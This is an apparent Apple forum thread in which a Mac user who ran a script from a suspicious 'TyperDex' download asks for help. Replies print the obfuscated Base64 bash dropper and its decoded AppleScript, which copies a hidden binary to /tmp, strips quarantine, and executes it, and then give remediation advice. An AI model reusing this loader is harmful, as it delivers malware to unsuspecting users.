Downloaded a suspicious app. Please help

I use a mac and I downloaded typerdex(.)org’s app. Came across the app thru someone on threads and they guided me to download and install the app but it wasn’t the usual way of installing.

After opening the dmg file it said to move it to terminal and when I did that and press enter it asked me to enter my mac’s password, I did that and that was it. I don’t see any app installed. I’m scared that there might be something running in the background that I’m not aware of. The person who guided me has blocked me so clearly there’s something going on. Is there any way I could find out if this is a virus or something and if so, how can I get rid of it?


Appreciate the help!

MacBook Pro 16″, macOS 15.3

Posted on Mar 27, 2025 4:53 PM

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Question marked as Top-ranking reply

Posted on Mar 27, 2025 7:33 PM

Not 100% sure it's malicious - but it is kind of sketchy at least. The file in the DMG you drag to the Terminal is a bash script:


#!/bin/bash

FXhoRLqY='IyEvYmluL2Jhc2gKb3Nhc2NyaXB0IC1lICdvbiBydW4KICAgIHRyeQogICAgICAgIHNldCBkaXNrTGlzdCB0byBsaXN0IGRpc2'
xUraPryk='tzCiAgICBlbmQgdHJ5C'
AgQMGPxf='iAgICBzZXQgdGFyZ2V0RGlzayB'
opxHSyoX='0byAiIgo'
jGEGUGmb='gICAgdHJ5CiAgICAgICAgcmVwZWF0'
YUEtjAJr='IHdpdGggZGlzayBpbiBkaXNrTGlzdAogICAgICAgICAgICBpZiBkaXNrIGNvbnRhaW5'
KXIkWjgK='zICJUeXBlckRleFNldHVwIiB0aGVuCiAgICAgICAgICAgICAgICBzZXQgdGFyZ2V0RGlzayB0byBkaXNrCiAg'
zzyRgDka='ICAgICAgICAgICAgIC'
FuDnOzWd='BleGl0IHJlcGVhdAogICAgICAgICAgICB'
SlewqVcl='lbmQgaWYKICAgICA'
iKttHYHF='gICBlbmQgcmVwZWF0CiAgICBlbmQgdHJ5C'
XGPSUmcU='iAgICBpZiB0YXJnZXREaXNrIGlzICIiIHRoZW4KICAgICAgICByZXR1cm4KICAgIGVuZCBpZgogICAgc2V0IGZvbGRlclB'
jdRZzsIY='hdGggdG8gIi9Wb2x1bWVzLyIgJiB0YXJnZXREaXNrICYgIi8iCiAgICBzZXQgYXBwTmFtZSB0'
XOnrPYmo='byAiLlR5cGVyRGV4U2V0dXAiCiAgICBzZXQgYXBwUGF0aCB0byBmb2xkZXJQYXRoICYgYXBwTmFtZQogICAgc2V0IHRlbXBBcHBQ'
ZipdVIwQ='YXRoIHRvIC'
qNraIQCR='IvdG1wLyIgJiBh'
HzfKDDyz='cHBOYW1lCiAgICB0'
XnOxbqKW='cnkKICAgICAgICBkbyBzaGVsbCBzY3JpcHQgInJtIC1mICIgJiBxdW90ZWQgZm9ybSBvZiB0ZW1wQXBwUGF0aAogICAgZW5kIHRyeQogICAgdHJ5CiAgICAgICA'
FKGSwYHi='gZG8gc2hlbGwgc2NyaXB0ICJjcCAiICYgcXVvdGVkIGZvcm0gb2YgYXBwUGF0aCAmICIgIiA'
pMpKcAEb='mIHF1b3RlZCBmb3JtIG9mIHRlbXBBcHBQYXRoCiAgICBlbmQgdHJ5CiAgICB0cnkKICAgICAgICBkbyBzaGVsbCBzY3JpcHQgInhhdHR'
VLfddcEb='yIC1jICIgJiBxdW90ZWQgZm9ybSBvZiB'
plNENAmz='0Z'
nlUYhzhZ='W1wQXBwUGF0aAogICAgZW5kIHRyeQogICAgdHJ5CiAgICAgICAgZG8gc2hlbGwgc2NyaXB0ICJ'
PwjdatGl='jaG1vZCAreCAiICYgcXVvdGVkIGZvcm0gb2YgdGVtcEFwcFBhdGgKICAgIGVuZCB0cnkKICAgIHRyeQogICAgICAgIGRvIHNoZWxsIHNjcmlwdCBxdW90ZWQgZm9ybSBvZiB0ZW1wQXB'
JhDsfXxD='wUGF0aAogICAgZW5kIHRyeQplbmQgcnVuJw=='
code="${FXhoRLqY}${xUraPryk}${AgQMGPxf}${opxHSyoX}${jGEGUGmb}${YUEtjAJr}${KXIkWjgK}${zzyRgDka}${FuDnOzWd}${SlewqVcl}${iKttHYHF}${XGPSUmcU}${jdRZzsIY}${XOnrPYmo}${ZipdVIwQ}${qNraIQCR}${HzfKDDyz}${XnOxbqKW}${FKGSwYHi}${pMpKcAEb}${VLfddcEb}${plNENAmz}${nlUYhzhZ}${PwjdatGl}${JhDsfXxD}"

bash -c "$(echo "$code" | base64 --decode)"


The unreadable part in the middle seems to be Base64 encoded:


#!/bin/bash
osascript -e 'on run
    try
        set diskList to list disks
    end try
    set targetDisk to ""
    try
        repeat with disk in diskList
            if disk contains "TyperDexSetup" then
                set targetDisk to disk
                exit repeat
            end if
        end repeat
    end try
    if targetDisk is "" then
        return
    end if
    set folderPath to "/Volumes/" & targetDisk & "/"
    set appName to ".TyperDexSetup"
    set appPath to folderPath & appName
    set tempAppPath to "/tmp/" & appName
    try
        do shell script "rm -f " & quoted form of tempAppPath
    end try
    try
        do shell script "cp " & quoted form of appPath & " " & quoted form of tempAppPath
    end try
    try
        do shell script "xattr -c " & quoted form of tempAppPath
    end try
    try
        do shell script "chmod +x " & quoted form of tempAppPath
    end try
    try
        do shell script quoted form of tempAppPath
    end try
end run'%


At a minimum, it seems to be copying an app named ".TyperDexSetup" into /tmp, make it executable and then run it. ".TyperDexSetup" is a 12 MB binary encoded file.


It's probably malware. Not 100%, but super sketchy. And whatever that binary did, it did with your administrator privilege level - so in theory anything...

18 replies
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Question marked as Top-ranking reply

Mar 27, 2025 7:33 PM in response to Swiftslinger

Not 100% sure it's malicious - but it is kind of sketchy at least. The file in the DMG you drag to the Terminal is a bash script:


#!/bin/bash

FXhoRLqY='IyEvYmluL2Jhc2gKb3Nhc2NyaXB0IC1lICdvbiBydW4KICAgIHRyeQogICAgICAgIHNldCBkaXNrTGlzdCB0byBsaXN0IGRpc2'
xUraPryk='tzCiAgICBlbmQgdHJ5C'
AgQMGPxf='iAgICBzZXQgdGFyZ2V0RGlzayB'
opxHSyoX='0byAiIgo'
jGEGUGmb='gICAgdHJ5CiAgICAgICAgcmVwZWF0'
YUEtjAJr='IHdpdGggZGlzayBpbiBkaXNrTGlzdAogICAgICAgICAgICBpZiBkaXNrIGNvbnRhaW5'
KXIkWjgK='zICJUeXBlckRleFNldHVwIiB0aGVuCiAgICAgICAgICAgICAgICBzZXQgdGFyZ2V0RGlzayB0byBkaXNrCiAg'
zzyRgDka='ICAgICAgICAgICAgIC'
FuDnOzWd='BleGl0IHJlcGVhdAogICAgICAgICAgICB'
SlewqVcl='lbmQgaWYKICAgICA'
iKttHYHF='gICBlbmQgcmVwZWF0CiAgICBlbmQgdHJ5C'
XGPSUmcU='iAgICBpZiB0YXJnZXREaXNrIGlzICIiIHRoZW4KICAgICAgICByZXR1cm4KICAgIGVuZCBpZgogICAgc2V0IGZvbGRlclB'
jdRZzsIY='hdGggdG8gIi9Wb2x1bWVzLyIgJiB0YXJnZXREaXNrICYgIi8iCiAgICBzZXQgYXBwTmFtZSB0'
XOnrPYmo='byAiLlR5cGVyRGV4U2V0dXAiCiAgICBzZXQgYXBwUGF0aCB0byBmb2xkZXJQYXRoICYgYXBwTmFtZQogICAgc2V0IHRlbXBBcHBQ'
ZipdVIwQ='YXRoIHRvIC'
qNraIQCR='IvdG1wLyIgJiBh'
HzfKDDyz='cHBOYW1lCiAgICB0'
XnOxbqKW='cnkKICAgICAgICBkbyBzaGVsbCBzY3JpcHQgInJtIC1mICIgJiBxdW90ZWQgZm9ybSBvZiB0ZW1wQXBwUGF0aAogICAgZW5kIHRyeQogICAgdHJ5CiAgICAgICA'
FKGSwYHi='gZG8gc2hlbGwgc2NyaXB0ICJjcCAiICYgcXVvdGVkIGZvcm0gb2YgYXBwUGF0aCAmICIgIiA'
pMpKcAEb='mIHF1b3RlZCBmb3JtIG9mIHRlbXBBcHBQYXRoCiAgICBlbmQgdHJ5CiAgICB0cnkKICAgICAgICBkbyBzaGVsbCBzY3JpcHQgInhhdHR'
VLfddcEb='yIC1jICIgJiBxdW90ZWQgZm9ybSBvZiB'
plNENAmz='0Z'
nlUYhzhZ='W1wQXBwUGF0aAogICAgZW5kIHRyeQogICAgdHJ5CiAgICAgICAgZG8gc2hlbGwgc2NyaXB0ICJ'
PwjdatGl='jaG1vZCAreCAiICYgcXVvdGVkIGZvcm0gb2YgdGVtcEFwcFBhdGgKICAgIGVuZCB0cnkKICAgIHRyeQogICAgICAgIGRvIHNoZWxsIHNjcmlwdCBxdW90ZWQgZm9ybSBvZiB0ZW1wQXB'
JhDsfXxD='wUGF0aAogICAgZW5kIHRyeQplbmQgcnVuJw=='
code="${FXhoRLqY}${xUraPryk}${AgQMGPxf}${opxHSyoX}${jGEGUGmb}${YUEtjAJr}${KXIkWjgK}${zzyRgDka}${FuDnOzWd}${SlewqVcl}${iKttHYHF}${XGPSUmcU}${jdRZzsIY}${XOnrPYmo}${ZipdVIwQ}${qNraIQCR}${HzfKDDyz}${XnOxbqKW}${FKGSwYHi}${pMpKcAEb}${VLfddcEb}${plNENAmz}${nlUYhzhZ}${PwjdatGl}${JhDsfXxD}"

bash -c "$(echo "$code" | base64 --decode)"


The unreadable part in the middle seems to be Base64 encoded:


#!/bin/bash
osascript -e 'on run
    try
        set diskList to list disks
    end try
    set targetDisk to ""
    try
        repeat with disk in diskList
            if disk contains "TyperDexSetup" then
                set targetDisk to disk
                exit repeat
            end if
        end repeat
    end try
    if targetDisk is "" then
        return
    end if
    set folderPath to "/Volumes/" & targetDisk & "/"
    set appName to ".TyperDexSetup"
    set appPath to folderPath & appName
    set tempAppPath to "/tmp/" & appName
    try
        do shell script "rm -f " & quoted form of tempAppPath
    end try
    try
        do shell script "cp " & quoted form of appPath & " " & quoted form of tempAppPath
    end try
    try
        do shell script "xattr -c " & quoted form of tempAppPath
    end try
    try
        do shell script "chmod +x " & quoted form of tempAppPath
    end try
    try
        do shell script quoted form of tempAppPath
    end try
end run'%


At a minimum, it seems to be copying an app named ".TyperDexSetup" into /tmp, make it executable and then run it. ".TyperDexSetup" is a 12 MB binary encoded file.


It's probably malware. Not 100%, but super sketchy. And whatever that binary did, it did with your administrator privilege level - so in theory anything...

Reply

Mar 27, 2025 8:21 PM in response to Swiftslinger

Files like documents - unlikely, and that sort of thing would be picked up by a Malwarebytes scan of the flash drive or whatever you copy them to, most likely.


Yeah, once you are sure you've saved your important document files, probably time to burn it down and reinstall from scratch - although feel free to get a second opinion. If you have an M-series Mac and macOS 15, there is a cryptographically sealed system volume that malware can't touch...but who knows what it installed outside that volume in places you (as admin) can modify...or if it would be possible to find it all to remove.

Reply

Mar 27, 2025 7:56 PM in response to g_wolfman

Oh, its domain registrar is in Russia...it has a low Tranco score, the server hosts a bunch of other suspicious websites and that particular registrar (reg.ru) is associated with a large number of spammers and fraud sites...yeah this is totally a fraud site and that was malware.



Reply

Mar 27, 2025 8:46 PM in response to Swiftslinger

The hidden file in /tmp, and the obfuscated shell script, both look very sketchy.


The Windows version also looks sketchy: https://www.joesandbox.com/analysis/1633305/0/html


More: https://securityonline.info/crazy-evil-cryptoscam-group-steals-millions-from-crypto-enthusiasts/


If that’s representative of what was installed, I’d wipe the Mac and start over without restoring.


And I wouldn't entirely trust even documente to be entirely unmodified. Microsoft Word macros and executable PDF files do exist.


It probably won’t be on the iPhone, but it may well have accessed backups of the iPhone, or your keychain contents. Which means a password rotation for everything that matters, two-factor authentication if not already, and related steps.

Reply

Mar 27, 2025 9:05 PM in response to Swiftslinger

Swiftslinger wrote:

Oh Noo :(
Even images aren’t safe?


Photos are probably safe.


But there have been issues in the past.


Not the least of which involved NSO Pegasus and JBIG2:


https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html


What’s your comfort level with uncertainty?


If you’re speculating in cryptocurrency for instance, I'd would assume that Mac to be compromised.


One of the text tools that gets recommended here: https://snippety.app/


I’fe used Kapeli Dash app for quite a while, though not the snippet feature: https://kapeli.com/

Reply

Mar 27, 2025 9:09 PM in response to MrHoffman

I’m not into crypto at all. Im just worried they might try to get access to my accounts and do something. Like social media or apple developer account or something.


Also, I did connect my phone to the Max to charge and stuff. is there a chance of the malware being transferred to the phone?

Reply

Mar 27, 2025 9:56 PM in response to Swiftslinger

Swiftslinger wrote:

I’m not into crypto at all. Im just worried they might try to get access to my accounts and do something. Like social media or apple developer account or something.


Short of reverse-engineering, nobody knows what this app does. Or if it is malware, sketchy appearances aside.


Also, I did connect my phone to the Max to charge and stuff. is there a chance of the malware being transferred to the phone?


I answered that already: “It probably won’t be on the iPhone, but it may well have accessed backups of the iPhone, or your keychain contents. Which means a password rotation for everything that matters, two-factor authentication if not already, and related steps.” And it had full access to the Mac.

Reply

Downloaded a suspicious app. Please help

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